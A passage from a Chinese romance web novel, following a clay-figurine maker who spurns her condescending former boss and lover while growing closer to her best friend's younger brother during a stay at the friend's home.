他还只是对某些喜欢的角色会热衷于收藏,并不疯狂,但孟嘉信却是个彻头彻尾的二次元,对手办的爱好可比他疯狂多了,差钱的主可烧不起这爱好。
但以防万一,还是提前说明比较好,毕竟他不想因为自己而给徐诗柚带来什么麻烦。
交代完,他又回到和徐诗柚的聊天框,犹豫了几秒,又说:
【诗柚姐,要是对方提出的要求让你觉得麻烦,或者不想接的话,不用勉强自己,我去和他说就行。】
说这话,其实带了点私心。
心底一股暗暗的不爽劲无从发泄。
尤其是看到孟嘉信一口一个姐姐地喊……
徐诗柚这边回了个OK。
下一秒,就收到了好友添加提醒。
她点通过,对面立马就发来打招呼的表情。
M:【姐姐好~我是孟嘉信,看了姐姐的手工作品,很喜欢!手工相当精致呢!】
徐诗柚笑,看来是个活泼的。
大柚子:【你想定制手办?】
孟嘉信也不废话:【嗯嗯,我先发图给你看看。】
【(图片)(图片)】
【就是这个,能做吗?】
徐诗柚看了眼他发的角色,是个可爱的兽设,还有点眼熟。
大柚子:【哦~我认得这个!是网上一位博主的原创IP吧?还有点小火的。】
那博主一开始是自己养的oc,养着养着还养出了点名气,后来很多粉丝问能不能卖,逐渐就成了小圈子里有点知名度的IP了。
M:【真的吗?姐姐也看见过?那姐姐觉得这个角色怎么样?】
孟嘉信的语气里带着莫名的兴奋,徐诗柚不明所以,但还是实话实说:【帅帅的,萌萌的,故事也挺可爱。】
M:【哈哈是吗,姐姐喜欢就好……】
【我想先定制几个看看,价格方面姐姐不用客气,把我当普通客户对待就好。】
孟嘉信这人说话有点奇怪,不过倒是很爽快,之后两人就具体细节和价格上商议了一番,对方很快就先转了一笔定金给她。
这单子接得很顺畅,徐诗柚这边聊完又去敲季野的窗口。
大柚子:【顺利接单~看来弟弟旺财啊!~】
JY:【没,是诗柚姐你手工好,和我没什么关系……】
大柚子:【有的有的,有关系的,等这单结了,姐姐请你吃饭呗?当作感谢。】
等单子结了……那是多久?两三天?还是一星期?
季野手指悬在屏幕上片刻,斟酌着回:【说到吃饭,诗柚姐这周末有空吗?还是我请你吧。】
大柚子:【嗯?】
JY:【你送我的那些花了不少心思吧?应该我请你才对。】
徐诗柚本来想说不用客气的,毕竟附赠的只是她的赔礼,但弟弟主动开口邀请她诶……
大柚子:【好哦,那……能去你们学校饭堂吃吗?】
似是没想到她会提出去饭堂吃饭,季野愣了愣。
学校饭堂……?
他觉得有些招摇,毕竟朋友圈还有人在捞她。
徐诗柚等了会,没等到回复,又觉得自己这要求是不是不太好,毕竟她是存了点小心思的……
季薇是说过季野没谈过恋爱,但是,她好像也没法判断,他有没有喜欢或暗恋的人吧?
万一他有,她跟着他去学校饭堂吃饭,不是很容易引起误会?
连忙找补:【我就是有点怀念大学生活而已,要是不方便,也没关系的~】
季野确实不是很想让她出现在学校被人发现,尤其是被想捞她的人看见,也怕带来麻烦。
他觉得暂时还是别出现在学校比较好:【嗯,确实有点不方便……学校外可以吗?学校门口有家店的菜品还不错。】
徐诗柚见他说不方便,顿时心凉了半截,不会和她猜的一样,弟弟真有喜欢的人了吧……
追弟未半而中道崩殂,害,一首凉凉送给自己。
正琢磨着回点什么的时候,聊天框跳出新的消息。
看着那带红点的头像,徐诗柚眼神暗了暗。
秦聿:【你辞职了?】
上一条信息还停留在半年前,突然来这么一句,还真让人有点不适应。
【秦总挺闲的?怎么还有空关注我这等小人物的生活?】
秦聿:【想多了,只是无意中听到的。】
徐诗柚轻嗤,真不知道京市这么远的人,是怎么个无意中能听到她这等小人物的事的。
【是辞职了,有何指教?】
秦聿很直接:【回来京市,位置还给你留着。】
大柚子:【谢谢秦总厚爱,但我有自知之明,倒也不必把话说得这么好听。】
秦聿:【你是我一手带出来的。】
从前总看不上她那点学历背景,说话也
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从不留情的人,这会说话还挺有余地的。
徐诗柚很难不怀疑这是对方的一种示弱。
不过,她很清楚自己离开的原因,不会再因为他的一两句话而动摇了。
大柚子:【不了,我在这边很好,不打算再回去了。】
【还有,我们别联系了吧。】
……
对方没再回话,徐诗柚手停留在删除好友上,半天也没能落下。
她眸光暗沉,有点气自己的不争气。
到底还在期待些什么?
徐诗柚在好友栏里找到温念的,点进去看朋友圈,近一年的都还能看见。
半年前的那张照片也还在。
照片里,是她和秦聿两人当时去出差,参加的一个本地泼水节活动。
秦聿半搂着温念,抬手替她抵挡住着本地人热情泼来的水,两个人浑身湿漉漉地贴在一起,狼狈至极,表情却都相当的尽兴。
连徐诗柚都没见过,秦聿笑这么开怀的样子。
她眨了眨有些酸涩的眼,不明白自己为什么还要特意翻出来扎自己一次。
明明很早以前就知道,他就是这样的人。
而她,也没资格说什么。
JY:【诗柚姐?】
徐诗柚这会才想起自己还没回弟弟,大约是好心情都被那人破坏了,她这会也有些提不起劲。
【抱歉啊,突然想起这周末还有事,要不,下次吧?】
那边过了很久才回:【嗯,没事。】
-
徐诗柚依旧没能睡成懒觉,不如说还失眠了一晚上。
干脆早早起来干活。
反正很闲,她还是详细画了设定稿,确定每部分的细节后才开始动手。
不过早上起来开始就感觉头隐隐作疼,等到下午的时候,小腹还有点坠坠的。
她拿出手机翻看了眼日期,果然,生理期快到了。
每回来例假前,她总会犯头疼,来了更是各种难受。
她一做起手工来就很沉浸式,早午饭都抛之脑后了,这会还难受得没什么胃口,干脆也没叫外卖。
到三四点的时候,头痛感更甚,徐诗柚不再为难自己了,放下手上的工具,回床上躺着休息。
迷迷糊糊地也不知道睡到了几点,等醒来的时候,整个屋子都陷在一片黑暗中,窗外也早已没了光亮。
她摸出手机看了眼,这一觉,睡到晚上7点多了。
习惯性打开微信,发现秦聿又发来了消息。
【在家?】
两小时前的。
徐诗柚不打算回。
正要熄灭屏幕,对话框里又出现一行气泡。
【开门。】
她一愣,随即眉心蹙起。
起身披了件外套,慢吞吞地挪去开门。
门一开,唇角都不觉扯了扯。
真是好荒唐。
门外高大的身躯,把外面的光都遮挡了大半。
徐诗柚出来的时候没开灯,屋内暗沉沉的,两人都看不清彼此神情。
对方却像回自己家一样,直接迈了长腿进门:“灯都不开,你在里面做什么呢?”
随着他话音落下,“啪”的一声,客厅的大灯亮起。
5. 秦聿
徐诗柚一时没适应,眼睛不自觉闭上,等不适感稍褪去后,才缓缓睁开了眼。
身着黑衬衫黑西裤的男人正立在她跟前,身姿笔挺,眉目清冷,流畅的下颌线绷着几分生人勿近的倨傲。
对方视线沉沉地落在她身上,未发一语,已让人感觉到沉凝的压迫感,呼吸都不觉放轻了几分。
“刚在睡觉?”秦聿扫了眼她身上随意披着的外套,以及外套下的睡衣。
徐诗柚没理他。
他现在又不是她上司,没必要还对他毕恭毕敬的。
她关上门,径自往屋内走。
她进厨房倒了杯水喝,有点渴了。
睡了一觉,头痛也并未得到什么缓解,她还是浑身不得劲。
“你不上班,就是在家睡觉和捣鼓这些小孩玩意?”秦聿带着点冷嘲的声音从客厅传来。
徐诗柚倒水的动作微顿,想起睡前扔了一桌的手作工具和黏土,还乱七八糟地堆在客厅。
她端了水出来,随意搁置桌面,一副爱喝不喝的架势。
而后抱臂半靠在桌前:“秦总来找我是有什么事吗?”
秦聿看她没有半点招待客人的姿态,也没生气,水自然也没喝。
他言简意赅:“接你回去。”
徐诗柚没崩住,笑出声,然后骂道:“你有病啊?”
“你们那什么狗屁总监,叫赵什么的,我已经让人把他弄走了,不过那种烂公司不上也罢,不适合你。”
赵睿被弄走了?
虽然不想承认,但听到他这么直接了当地说出了一件她想很久的事,确实有被爽到。
不过也就那么几秒,很快她又清醒了:“所以呢?”
“我说了,职位我还给你留着,只要你想,随时可以回去。”
“我不想。”
“呵。不回去,难道打算靠你那捏泥巴的手艺过日子吗?”他嘴角轻扯,颇为轻蔑地冷嘲出声。
徐诗柚知道,秦聿向来是看不上她捣鼓这些的,觉得幼稚,不务正业。
她不是不明白他话里的意思,但还是很想给他一拳。
她提了口气,到嘴边的反驳又咽了回去。
觉得很没劲,因为跟他谈论这些,毫无意义。
他不会理解的。
这些在他眼里幼稚无用的东西,曾是她唯一的宣泄口。
刚去京市工作那会,在明远那样的顶尖公司里,她工作压力巨大,还经常被上司的他,批得一无是处,整夜整夜的焦虑,失眠。
再后来,他们有了见不得光的关系,感情生活更是让她处理得一塌糊涂。
谈什么公私分明?人一旦和感情牵扯上,理智就容易靠边站。
她不是他,做不到永远那么冷静理智。
唯一能做的,就是做这么点幼稚玩意抒发下压力,自我安抚。
安抚完自己后,回头又是他的一条好狗。
“嗯,随你怎么说吧。”她懒得争辩,他总要赢的,因为他高高在上。
“搞不懂你,别人都巴不得赖在明远不走,你放着大好的前程不要,非要辞职跑来这,还是在事业上升期的时候。”
“你要是混出了点什么名头,我还能高看你一眼,结果呢?就是失业在家睡觉捏泥巴?”
徐诗柚深吸了口气,平静地反问:“我为什么辞职,你不知道吗?”
话毕,周围的空气都冷凝了下来。
秦聿眉眼下压,声音都跟着冷了几分:“为了这点事辞职,只会让我看不起你。”
“我说了,我和温念是十几年的朋友,没有任何你想的龌龊关系。”
徐诗柚冷呵出声:“是啊,会送花,会拥抱,会一起吃饭,一起去旅行,还玩得很开心的那种好朋友嘛。”
“那又怎样?”秦聿不觉得自己有任何问题,“她漂亮,聪明,独立,有想法,是个很有魅力的人,我和她能聊得来,也自在,为此我愿意付出一定的时间精力来维持这段关系,有什么问题?”
“别说我和她没关系了,就算有,又和你有什么关系?别对我的人际关系占有欲太强了。”
“再说了。”他淡淡看了她一眼,语调没什么起伏,像在说一件再正常不过的事,“我要真跟她有什么关系,这些年,轮得到你吗?”
哈,真像他能说出的话。
“是,你说得没错,我们没有任何关系。”
徐诗柚对他的这种话都快免疫了,只是轻轻抬眸,字句清晰地道:“所以,我回不回去,要做什么,和你也没有任何关系,麻烦你也别对我的事指手画脚。”
又是沉默,无声的对峙在两人之间蔓延。
“行,随你。”他转身出门。
徐诗柚也转身,并不打算送他。
只是没走出两步,突然一阵眩晕感袭来……
啪嗒。
装着水的玻璃杯被她胡乱扶桌的手扫到了地面。
“徐诗柚!”
耳边传来一声紧张的呼喊,下一秒,她便失去了意识。
-
徐诗柚并没有晕过去多久,等她清醒过来也就过去了五分钟,口腔里甜甜的,不知道什么时候被塞了颗糖。
“你是不是又没吃饭?”刚睁眼,就听见秦聿责备的冷声。
他用手拂开她滑落至脸侧的发,用力掐了把她的脸:“难怪这脸看着这么苍白。”
他的力道一点都不手软,徐诗柚皱起了张脸,直到他松开。
她无意识地吮着嘴里的糖,黑色瞳仁茫然地盯着他,睫毛轻轻扇动着。
她眸子里还含着潮,配上这苍白的小脸,多了几分楚楚可怜的病态美,秦聿抚在她脸上的手微顿,喉结不自觉滚动。
但现在不是想这个的时候。
“躺好,我去给你弄点吃的。”他避开她目光,起身。
徐诗柚觉得有些羞恼。
前一秒气势汹汹地放完狠话,下一秒就晕了过去,现在还被对方照顾着,导致她说出的话,气势都被削弱了一半,简直窝囊至极。
尤其是看到对方现在还在厨房为自己忙碌的身影,更烦了,这样只会让这段关系拉拉扯扯个没完。
她颓靡至极地虚弱出声:“你走吧,一会我自己……”
“你成天都吃的什么?这冰箱比你的脸还干净。”
“……”
“只有鸡蛋和面,等会先将就着吃点吧。”
“……”
徐诗柚闭上了嘴。
早知道,今天就好好吃饭了。
昨晚失眠,一大早又各种生理痛。
只顾着忙手工活,下午更是直接睡到了晚上,一顿饭没吃,本来就有些低血糖,不晕才怪。
她挪步到厨房,靠在岛台上看秦聿煮面。
他背脊挺拔,黑衬衫熨帖地贴在后背,袖口利落地挽起,露出一截精壮的小臂。
他拿筷子搅着面,另一只手闲闲地插在裤兜里。
这男人,连煮个面都一副矜贵至极的模样。
半年多没见,他还是一点没变,还是那个,只要看上一眼,就很难让人不心动的男人。
他们一起的时候,好像除了床上,最多的就是在厨房和餐桌了。是除了那档子事外,独属于两人的温馨时光。
察觉到她的注视,秦聿偏过头来:“在这里做什么?马上好了,到餐桌上等吧。”
虽然很想硬气地拒绝他的投喂,但饿一天了,徐诗柚实在装不下去,面一上桌,肚子就很不给面子地打起了鼓,换来秦聿一声冷笑。
她低头吃面,安静如鸡。
等面吃完,她想去洗碗,又被秦聿冷淡地按了回去。
徐诗柚依旧靠在岛台上,窝窝囊囊地看他干活的背影。
然后看他关了水,抽了纸巾优雅地擦干净每一根手指。
她的目光太过灼热,秦聿实在很难
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忽视。
眼神是很难骗人的,她看他的目光,分明和她说的话相矛盾。
像从前每次看他的眼神,都带着女孩纯粹还不懂掩藏的爱意。
他唇角轻轻勾起,转过身来,稍稍用力,便轻易将她送上了中岛台,两人之间的位置瞬间拉到一个暧昧的距离。
徐诗柚稍一愣神,一切便又开始失了控。
她不知道到底是怎么吻上的,就好像不知道以前是怎么被他蛊着一步步陷入他编织的网一样。
她总是不可控地沉沦,迷恋。
等她反应过来时,已经不死不休地又纠缠到了一起,生理上对他的渴望,永远远超理智。
对方冰凉的指尖触至皮肤时,徐诗柚一个激灵,清醒了过来。
她喘着气把人推开,额头仍抵着他的肩。
秦聿没有要放过她的意思,掐着她的下巴抬起,偏过来就要重新吻上,手也在衣摆内往上走。
徐诗柚抬手捂住他嘴,另一只手按住他的,轻喘着气:“别,我要来那个了。”
秦聿神情滞了下,想起今天日期,这才把手收了回来。
眉蹙得更深:“那你还不吃饭?明知道自己每次这时候都虚得要死。”
“……没胃口。”
燃起的欲还未消退,两人之间的氛围都还有些暧昧不明。
平缓了会,秦聿才稍稍退开了些距离。
他手仍撑在她身体两侧,垂眸看了她好一会,才俯身,贴近她耳畔。
声线低哑,像藏着蛊:“今晚,留我吗?”
……
-
“他来找你了?不是吧,你该不会又留他过夜了吧?给我清醒点啊你!”
季薇提着嗓门,对着电话那头恨铁不成钢。
“没留?没留就对了!你别忘了自己当初到底为什么决定离开京市的,不就是为了远离他不再内耗吗?狗男人就不值得你付出一点!”
“你可千万别再对他心软了!三年了,养条狗都有感情了吧,何况睡了三年?连个名分都没有!不就是个男人吗?再好再出色,给不了你任何情绪价值的要来做什么?”
“要真在意你,半年时间他干嘛去了?这会倒想起你了?”
“你要是再继续恋爱脑下去,我都要不认你这闺蜜了!”
……
“你不舒服要不过来跟我住几天吧,我还能照顾你,不然你晕死在家里我都不知道。”
季薇骂骂咧咧一通后,两人又聊了会,这才挂了电话。
她转身从阳台回室内,一抬眼,差点没吓着。
季野不知道什么时候回来的,正从卧室出来。
“你什么时候回来的?怎么一点声音都没……”她问,又意识到今天周五了,弟弟回来也正常。
然后又想起自己刚才讲电话还挺大声的,不会都让他给听见了吧?
而且讲的内容好像还有点少儿不宜?
好不容易才从徐诗柚嘴里听见一个除秦聿以外的男人,她还是希望她可以尝试把目光转移到别的男人身上的,哪怕那男人是她弟弟。
她不会给自家闺蜜拖后腿吧……
“是你光顾着打电话没听见吧。”
季野和平时一样,寡淡着张脸,没什么表情,不像是听见了的样子。
不过季薇也不是很在意。
先不说两人八字都没一撇,徐诗柚也未必有多认真,就是真拖后腿了,那也只能说明是她弟弟不配。
她们女人,睡过几个男人又怎么了?
但闺蜜刚刚才答应要过来住几天……
毕竟是异性,季野在家的话,还是说一声比较好。
她赶紧又低头敲字:【忘了说了,周末这两天我弟大概率会在家,你要是不方便……】
她还没打完呢,那头已经秒回了。
大柚子:【我超方便的!姐!】
薇薇薇:【……】
6. 借宿
徐诗柚昨晚艰难地维持住了理智,拒绝了秦聿的留夜。
离开京市的时候,明明都决定要跟他断掉这不堪的关系了,一看见人,又被蛊得七荤八素。
有时候她也特想给自己一巴掌,为什么总在他面前这么没出息?
季薇骂她其实也没骂错,舔狗舔狗,舔到最后,一无所有。
他就没在意过她的感受,只会永远高高在上地责备她,认为一切都是她的问题。
她不该过多插手他的事,不该对他的人际关系有占有欲,更不该对他持有过界的感情。
这都是他所厌烦的,所以当初才会和她只建立床上关系不是吗?
是她变得贪心了,想要更多,为此而产生的情感内耗,也是她自己活该受着的。
是她的问题,是她越界,他当然不觉得自己有一点错。
爱上他的是自己,又不是他逼的,甚至她的爱在他眼里也许就是个麻烦。
如果非要说他有什么错,那大概就是,明知道她对他抱有不切实际的感情,却也没推开吧。
她没法控制自己的情感,也不想一直深陷在这段没有名分的关系里内耗,所以选择了远离。
逃避可耻,但有用。
离开京市的这半年,她也一直克制住自己想找他的冲动,而他也毫不意外的,从未主动找过她一次。
本来都以为会永远躺尸在列表的人了,却又突然出现。
似乎还想把从前的矛盾轻轻掀过。
是想和她继续稀里糊涂地维持那不为人知的关系吗?
哈。
徐诗柚在心里自嘲一声,决定不再想那男人的事。
-
季薇下午有工作,徐诗柚是晚上才去的她家。
她把赚钱的工具带上,收拾了点简单的行李就准备出门。
临出门前,突然瞧见玄关的置物柜上放了个礼品袋。
熟悉的外包装,熟悉的标志,她甚至都不用怎么猜测,就知道里面肯定又是一个价值不菲的包包。
昨晚进门的时候没见他手上有东西,估计是黑灯瞎火那会放下的。
她掏出手机拍了张照片想发给秦聿,说自己不需要,手指点下发送前,又撤了回来。
算了,他想送的从来也不是什么包包,不过是自己的心安罢了。
补偿?道歉?或是示弱?
不管是哪种,又何尝不是来自上位者对下位者的一种傲慢?
她不是第一次拒绝了,他也从来没听进去过。
徐诗柚只匆匆瞥了一眼那包装,就拿上车钥匙出门了。
她知道自己每次生理期有多虚,好闺蜜愿意投喂她,她是很乐意去当个米虫的!
不过让她失望的是,季野并不在家,据说上午只回来了一会就走了。
不知道是不是因为听说她这几天会来住,觉得不习惯,所以干脆这周就回宿舍睡了?
“我过来是不是打扰到他了?”
晚饭后,两人都洗过澡,穿着舒适的睡衣窝在沙发上看电影。
“不用管他,这么大人了,又不是没地方去。”季薇兀自开了听啤酒,边喝边说,“我警告你,你可千万别有那种,什么怕影响到我和我弟,而减少来我家的想法!”
“想多了吧,我是那么客气的人吗?”徐诗柚笑着,眨巴了眼,盯着她手里的啤酒。
季薇拿开些:“不是要来例假了吗?想都别想,看着吧。”
徐诗柚:“这不是还没来嘛?而且今天也不怎么痛了。”
季薇:“Noway!”
徐诗柚:“……”
-
电影看到一半的时候,季野回来了。
一进门,满室漆黑。
唯有客厅投影幕布上映照出的蓝白光,明明灭灭地笼着沙发上依偎在一块看电影的两人。
他开关门的声音有些大,在只有电影音响的大厅内格外突兀,两人都齐刷刷地朝他看来。
“回来了?这么晚,还以为你今晚会回宿舍呢。”季薇端起啤酒喝了口,把嘴里的薯片咽下,含含糊糊地出声。
“没,只是被朋友喊出去了。”季野在换鞋,解释了声。
“哦,我们在看电影,要过来一起看吗?”
季薇有时候想看电影又没伴陪的时候,也会拉季野来作陪,虽然十次有八次都会被拒绝,但不妨碍她问,这会也只是顺口问了句。
季野走了过来,看了眼幕布的方向,又看了眼沙发。
沙发刚好能坐3到4人的长度,此时两人都缩在一边,紧贴而坐,还盖了张毯子,腻腻歪歪的,边上还躺着只泡芙。
季野不是很能理解女生这种做什么都喜欢粘在一起的感情,不过他看了眼徐诗柚旁边空出的位置。
“行。”
他顺其自然地坐过去,和徐诗柚还隔了一只猫的距离。
“吃薯片吗?”见他坐下,徐诗柚顺手把自己的薯片递了过去。
季野偏过头来,目光落在她被光影描摹着的轮廓上。
她正微微侧头看向他,眉眼温柔,发梢被光影染得发亮,连带着脖颈处细腻的肌肤,都透着柔和的光泽。
头发半干着,身上还带着沐浴过后的淡淡桃子气味,是他姐很爱用的那款,他挺嫌弃的,不怎么喜欢用。
原本在他姐身上闻着挺正常的味道,此刻从徐诗柚身上闻到,就莫名不对劲了,连带呼吸都乱了几分。
尤其是想到,自己也用过和她身上同样味道的……
他迅速垂了眼,手伸进包装袋里胡乱抓了几片:“嗯,谢谢。”
此后,这股淡淡的桃子味就一直在鼻尖萦绕不去。
明明入秋的夜晚挺凉快的,甚至都有些冷,他却觉得浑身燥热。
“喝吗?”又过了会,徐诗柚又朝他递来一罐啤酒。
季野再次看过去时,发现他姐不知道什么时候已经睡过去了,头就靠在徐诗柚肩上。
徐诗柚笑着比了个嘘的手势:“她这几天工作挺忙的吧?估计累坏了,让她睡吧。”
随即又晃了晃手上的啤酒:“你喝吗?”
季野摇了摇头:“不了。”
“哦,啤酒挺凉的,我还以为你需要呢……你不是很热?”不知道是不是男孩子火气都大,季野坐在旁边,徐诗柚感觉身边像坐了个小火炉。
季野闻言,征了下,不动声色地把半张脸往领子里埋了埋。
“没……”
幸好光线昏暗,没人看到他因为窘迫而发热的耳根和脖颈。
后面徐诗柚都没再和他搭话了,专心看电影。
薇薇说得没错,这弟弟话是有点少啊,不过又怪礼貌的,可能把她当长辈看了?
她胡思乱想着,熬到电影四分之三的时候,已经哈欠连连,眼角都是带出来的生理性泪水。
季野只觉身上忽地一沉,人就僵住了。
他侧目,就见徐诗柚整个倒在了他身上,眼睛闭着,长睫在变换的光影下投下浓重的阴影。
他姐靠着她,她靠着他,像推倒的多米诺骨牌一样堆叠着。
两人都没撑到电影结束就睡过去了。
遭殃的泡芙被徐诗柚这一下给吓跑了,飞快地跳下沙发窜走。
只有季野一动不动地保持着姿势看到了结束。
直到片
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尾的歌曲都播完了,他也仍坐在那。
也不知过了多久,黑暗中,他轻叹了声,手扶着靠在他身上的脑袋,轻轻往沙发上放。
把徐诗柚放置好后,季野又把季薇弄到另一边,让她们一人睡一头,然后拿了被子给两人盖上,这才进了浴室。
……
热水冲刷而下,水流掠过光洁的额头,高挺的鼻梁,在下颌线汇聚成流。
季野抬手抹了把脸,眼睛不经意扫到那瓶桃子味的沐浴露时,又很快地移开,转而拿起旁边那瓶,他强烈要求他姐更换的,味道比较寡淡的男士款。
他刻意避开了使用同款,但却冲不散那屡始终若有似无的香味,呼吸间总觉得还能闻到那股淡淡的桃子味,有些甜腻。
他闭了闭眼,又睁开,完了,脑子里全是糟糕的想法。
最后他撑着墙,任由水冲刷过全身,而后,长长地叹出一声……
-
等他洗完出来,两人依旧都好好地躺着,睡得还很乖。
季野看了眼阳台的方向。
晚上凉,这样放她们在外面睡会不会感冒?万一抢被子呢?
两人睡沙发会不会有点挤?万一半夜掉下来呢?
想来想去,都觉得不太稳妥,他朝季薇睡的那头走去。
他盯着自家姐姐,迟疑了几秒,然后走向了另一头……
客厅没开灯,只有窗外皎洁明月高悬,借了点银辉洒入,堪堪能看清沙发上的人。
季野俯身,把徐诗柚从被子里捞出,手臂小心翼翼地穿过她膝弯,动作极缓,另一只手稳稳托住了她的腰背,力道控制恰好地把人抱了起来。
徐诗柚没醒,他松了口气。
好轻啊……
只是他抱着人还没走出两步,怀里的人就动了动,紧接着,季野就看见她蝶翼般的长睫轻轻颤动起来,一副即将转醒的模样。
他僵立在原地,脑子飞快地想着等会的应对措辞。
很快,他便看见徐诗柚缓缓睁开了双迷蒙的眼,看着他,慢腾腾地眨着,眼神不甚清明。
季野只觉得心脏咚咚咚地狂跳,紧张到手指都泛白,活像做了什么亏心事似的。
“我……”
他欲开口解释,却见怀里人像是在寻找什么温暖源,下意识往他怀里缩了缩,最后脑袋轻靠在他肩头,又闭上眼睡了过去。
“……”
发丝扫过季野的颈侧,酥麻感袭来,那股桃子味更加浓烈地钻入鼻息,似乎都要渗进到他的四肢百骸里。
季野慌得不行,脚步蓦地加快,很快就把人送进了主卧,又轻轻安置到了床上。
他给她盖好被子,然后在床边蹲了一会。
睡着的人呼吸清浅,额前碎发随着均匀的起伏微微晃动,散下来的发蓬松柔软……他没忍住,伸手拨了拨她的发。
和平日看到的明媚张扬的美不同,徐诗柚的睡颜甚是乖巧。
盯着看了好一会后,季野突然觉得自己的行为有点像变态,这才讪讪地起身,关好门,离开……
-
季薇第二天睡醒的时候,发现自己睡在了沙发上,身上还盖着张被子。
大脑混沌,一时半会还没想起昨晚的事。
只记得,昨晚跟柚子看电影来着,然后,她好像睡着了?
她下意识转动脑袋看向周围,大厅除了她,一个人影都没有。
难道一大早就出门了?
她打了个哈欠,下地,习惯性想要回房拾掇自己。
结果,一打开卧室门,就看见她好好盖着被子,在床上睡得一派岁月静好的亲亲闺蜜。
季薇:?
7. 互探
“不是,昨晚看完电影后,你就把我这么扔外面,然后自己美美地躺床上了?”
吃早餐的时候,季薇越想越纳闷,气哼哼地喋喋不休。
今早的早餐是徐诗柚做的。
因为被季薇晃醒后她也发现了,只有她一个好好地躺在了床上,简直大大地鸠占鹊巢。
虽然也不是没有过的事,两人平时并不太在意这些,但徐诗柚还是莫名心虚,上赶着补救。
她不会做饭,但搞些热热就能吃的速食早餐还是会的。
徐诗柚给她夹了块切好的牛排,笑容讨好:“我不是故意扔你在外面的,昨晚,我也不知道怎么回事啊?我记得我也睡在外面的……”
她越说到后面声音越低,显得底气不足。
“可能……我半夜梦游自己躺床上去了?”
她虚虚出声,然后视线略略扫过季野的方向。
后者低着头,一声不吭地埋头喝粥,好像上桌到现在,都没直视过她一眼。
徐诗柚总觉得昨晚迷迷糊糊睡着的时候好像见到过季野,但又不确定是不是自己在做梦。
“哼,好歹给我盖了张被子,算你还有点良知!”
“……”是她盖的吗?她怎么一点印象都没有。
她又看向季野,见对方至始至终都保持沉默,总觉得哪不对劲。
他不抬头,她就这么盯着他,微微眯了眼。
吃过早饭后,季野很自觉地领了刷碗任务。
季薇因为在自家分公司当的管理,工作不分时间,这会回房化妆换衣服去了。
徐诗柚借着倒水进了厨房,凑到季野跟前,压低声音问:“昨晚,是你把我抱进房的?”
季野抿着唇,垂头洗着手中的盘子,默不吭声。
徐诗柚又用手肘撞了撞他:“问你呢,怎么不说话?”
季野没法继续装听不见了,只好侧过头来。
徐诗柚这会靠他极近,仰着头,眼睛亮晶晶的,等着一个求证。
季野这会才发现,徐诗柚在他跟前其实也显得有点小小的,仰着张早上还没化妆的素净脸庞,肌肤瓷白,软软嫩嫩。
以前觉得他姐的这个朋友,高挑漂亮,还相当有气质,一双桃花眼看人的时候,像是藏着钩子,让人挪不开眼。
原来她在家不化妆的时候长这样的?看着和他在大学见的那些女生好像也没什么区别,都挺青春少女的……
离得近了一看,好像个子也才到他胸口。
徐诗柚也发现了。
她还惊奇地垫脚,伸手比划了下:“弟弟你多高啊?我记得第一次见你的时候还没我高呢……怎么一下就长这么大了?”
好可爱,想亲……
念头一冒出,季野呼吸都乱了几分,他向后退了半步,迅速和徐诗柚拉开了些距离。
水槽里的水还在哗哗放着,他慌忙低头刷回手中的碗:“一、一米九。”
“果然!我的眼睛就是精准!我在篮球场里看到你的时候,就觉得肯定有一米九了。”徐诗柚靠在料理台上,伸出两根手指比划了下眼睛的位置,语气颇为得意。
“嗯……”
“对了,你还没回答我呢,昨晚是不是你抱我进房的?”
“……”怎么还没跳过这话题?
“嗯?”
“嗯……抱歉。”季野闷闷应声。
徐诗柚笑了:“你干嘛跟我道歉?”
因为以两人的关系,这行为其实有点冒犯,季野觉得自己是在明知故犯,所以不是很想说。
“不过你怎么不把你姐也抱进去啊?放她一个人睡沙发,不太好吧……”
“没事,她身体牛一样健壮,不会病倒的。”他也不是第一次见他姐睡沙发了,以前还管管,说多了不听,他就没管了。
徐诗柚觉得季野是有点冷幽默在身上的。
她笑出声,还想说点什么,就听身后传来声音——
“你俩干什么呢?”
季薇一身西服套装,出来时已然一副职场女强人的形象。
她支着个下巴在岛台上,目光在两人身上流转:“说什么悄悄话呢,贴这么近?”
闻言,季野才发现,刚刚刻意拉开的距离不知道什么时候又拉回去了。
季薇微眯了眼,朝徐诗柚瞟去,一脸兴味。
徐诗柚挠了挠脸,眼神乱飘。
臭薇薇,又不是不知道她存了什么心思,明知故问个什么劲?
季薇报了昨晚被独自扔在客厅的仇,不再逗她,朝两人挥了挥手:“我去上班了,中午回来给你做饭吃。”
徐诗柚:“我喊外卖也行……”
“行了,说了你过来我照顾的,而且我平时不忙的时候也会回来自己做着吃。”
季薇说的是实话,她嘴挑,又注重健康,更喜欢自己做饭吃,而且做饭也是她兴趣所在。
她擅自决定好就潇洒走人。
季薇走后,屋子里突然就安静了下来。
被剩下的两人下意识地对视了眼,这会才意识到,屋子里这不就只剩两人独处了!
气氛莫名就有些尴尬了起来。
徐诗柚轻咳了声,拿起水杯往外走:“你继续洗吧,我忙去了。”
季野:……
-
徐诗柚确实要忙。
她还要完成孟嘉信的单子。
孟嘉信定制的兽设手办是Q版造型的,没之前给季野做的那个那么复杂,但他一次定制了几个不同的造型。
徐诗柚之前在家已经做好了一部分,这会正在调色给人物画脸。
她搬了个矮桌到落地窗边,铺了垫板,旁边放着各色黏土、工具和一些手绘草图。
清晨的阳光透过窗纱,在客厅地板上投下斑驳光影,她就这么盘腿坐在地毯上,专注地给人物画着眼睛。
眉头微蹙,嘴角却带着浅浅笑意,仿佛整个世界只有手边的这一方天地。
季野喂完猫过来,看到的就是这么一幕,他下意识走过去,跟着盘腿坐到了一旁。
徐诗柚做起手工来就相当投入,甚至都没注意到他什么时候过来了。
季野也不出声打扰,只是有些稀奇。
他虽然是喜欢收藏某些手办,但也没见过手办的诞生过程。
不过看着看着,目光就逐渐从她手中的精细活转移到了其他地方……
秋日的日光暖人,整个笼罩在徐诗柚身上,卷翘的长睫像把小扇子,在阳光下泛着金色的光,扑簌簌地落下一片阴影。
几缕碎发垂在脸侧,随着她的动作轻轻晃动,季野的手微动,痒痒的。
好想替她把那缕头发挽到耳后……
“喵~~”吃饱喝足的泡芙踱步过来,脑袋蹭着季野的膝盖,一副求宠爱的撒娇样。
徐诗柚听见声音抬头,这会才发现旁边多了个人。
她稍征,随即把自己的作品举到他跟前:“怎么样,你诗柚姐我做得不错吧?简直完美!”
小骄傲的模样,还带着点求夸奖的期待。
是对自己擅长和热爱的事物很自信的一种状态,纯粹又动人。
“好看。”季野真心夸赞,目光却是地落在她那张素净的脸上。
得到认可后,徐诗柚唇角扬起满足的笑意,开始给角色捏头发。
这是个挺麻烦的活,头发要一根根地做,压扁,塑形,粘贴,再造型。
她捏得格外认真,指尖动作精准又温柔,整个人都透着一种沉静又耀眼的光芒。
